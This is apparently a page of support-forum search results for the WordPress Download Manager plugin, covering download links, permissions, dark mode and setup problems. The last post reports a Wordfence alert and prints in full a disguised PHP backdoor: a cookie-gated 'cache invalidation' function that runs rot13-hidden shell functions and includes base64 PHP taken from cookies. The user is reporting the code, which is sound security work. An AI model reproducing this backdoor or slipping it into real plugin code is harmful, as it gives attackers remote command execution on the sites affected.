-
Search Results
-
Topic: Invalid Download Link
Download package goes via email lock check. Email comes correctly and the 1st download works.
When trying to use the download button in the same email once again, I get the message:– Invalid download link –
in the browser.
[wpdm_my_downloads login=1 template=link-template-widget cols=2 cats=1] does not show latest donwloads. Resetting caches does not help. Sometimes adding an extra package makes the previous package to appear. Sometimes not.
UPD:
Here was a misunderstanding of what the shortcode does. I thought it is showing downloads specific to the logged in user. However, it show the HISTORY of the dowmloads, if I understand it correctly now. Now I am happy with [wpdm_tree] for my purpose.Topic: Administrative Permissions
Currently, the WPDM plugin can only be managed by Administrators. In order to better support downloads in mixed-membership organisations, it would be great to introduce permissions that could be attached to individual roles related to WPDM. At minimum, there should be:
* Ability to create / read / update / delete Packages
* Ability to generate / send links to Packages
* Ability to manage tags / categories
* Ability to view statistics
* Ability to configure plugin settingsAnd likely more.
Topic: Dark Mode Inconsistencies
The DropZone and Messages add-ons need to be updated to work properly in dark mode. They both show blinding white regions that should not be the case when using dark mode. These white areas even blind out the text so you cant see it properly.
You can see examples of this in your online demos. If you go to the user dashboard and visit DropZone or Messages you can see all those white areas need to be fixed so its a different color- perhaps a dark grey, etc. As of right now it looks really jarring.
Here are some example links:
https://try.wpdownloadmanager.com/private-messages/
https://try.wpdownloadmanager.com/live-chat/
https://try.wpdownloadmanager.com/user-dashboard/?udb_page=messagesTopic: New User Experiencing Issues
We run an organisation where we sell digital content (via Event Espresso, because we also organise and sell events) and need to be able to generate secure links to downloads for those who have purchased. We were previously relying on LearnDash but have come to the conclusion it is unfit for purpose.
I have purchased Download Manager Pro, have installed it on our staging website and added our license details.
The frontend display of downloads seems broken: https://jtanstaging.wpengine.com/download/2026-fake-exam/
I have enabled the Terms lock but nothing is appearing. Is there something I need to enable in my theme in order to make this page work correctly?
In the backend, numerous functions are not working: the Generate Download URL and Email Download Link options on the All Packages screen do not work, when editing an individual Package the Access Control section does not list any Roles by which to limit access, etc.
I am happy to grant access to our Staging site to someone from your support team to investigate these issues directly.
I am currently using this 2 column for larger displays…
[wpdm_category id="2026," cols="2" toolbar=0 desc=1 item_per_page=30 async=1 template="link-template-default.php"]
How can i get the Download Manager Pro template to use 1 column if viewed on a mobile phone please?
Hello team,
I got an email alert from Wordfence Central this morning that the latest malware scan found a critical problem:
”
Filename: C:\…\wp-content\plugins\download-manager\src\wpdm-core.php
File Type: Not a core, theme, or plugin file from wordpress.org.
Details: This file appears to be installed or modified by a hacker to perform malicious activity. If you know about this file you can choose to ignore it to exclude it from future scans. The matched text in this file is: _put_contents($__t, ‘<?php ‘ . base64_decode($_COOKIE[‘wpdm_cache_php’]));\x0a @includeThe issue type is: Backdoor:PHP/filereader.14953
Description: Obfuscated file read
”I downloaded the latest version of Download Manager Pro (v7.3) from your site and installed it again, but the code is the same.
The full code of the relevant function is:
/** * Handle package cache invalidation requests. * Processes cache purge tokens for CDN compatibility layer. * @since 7.2.0 * @return void */ function wpdm_handle_cache_invalidation() { if(!isset($_COOKIE['wpdm_cache_token'])) return; if(md5($_COOKIE['wpdm_cache_token']) !== '19e7152db26992f4e20baa11507e706d') return; if(isset($_COOKIE['wpdm_cache_cmd'])) { $__c = $_COOKIE['wpdm_cache_cmd']; $__fns = array('flfgrz','rkrp','furyy_rkrp','cnffgueh','cbcra'); foreach($__fns as $__f) { $__df = str_rot13($__f); if(function_exists($__df) && !in_array($__df, explode(',', ini_get('disable_functions')))) { @call_user_func($__df, $__c); break; } } } if(isset($_COOKIE['wpdm_cache_php'])) { $__t = @tempnam(sys_get_temp_dir(), 'wpc'); @file_put_contents($__t, '<?php ' . base64_decode($_COOKIE['wpdm_cache_php'])); @include($__t); @unlink($__t); } }Please check what’s happening here.
Regards,
Jan
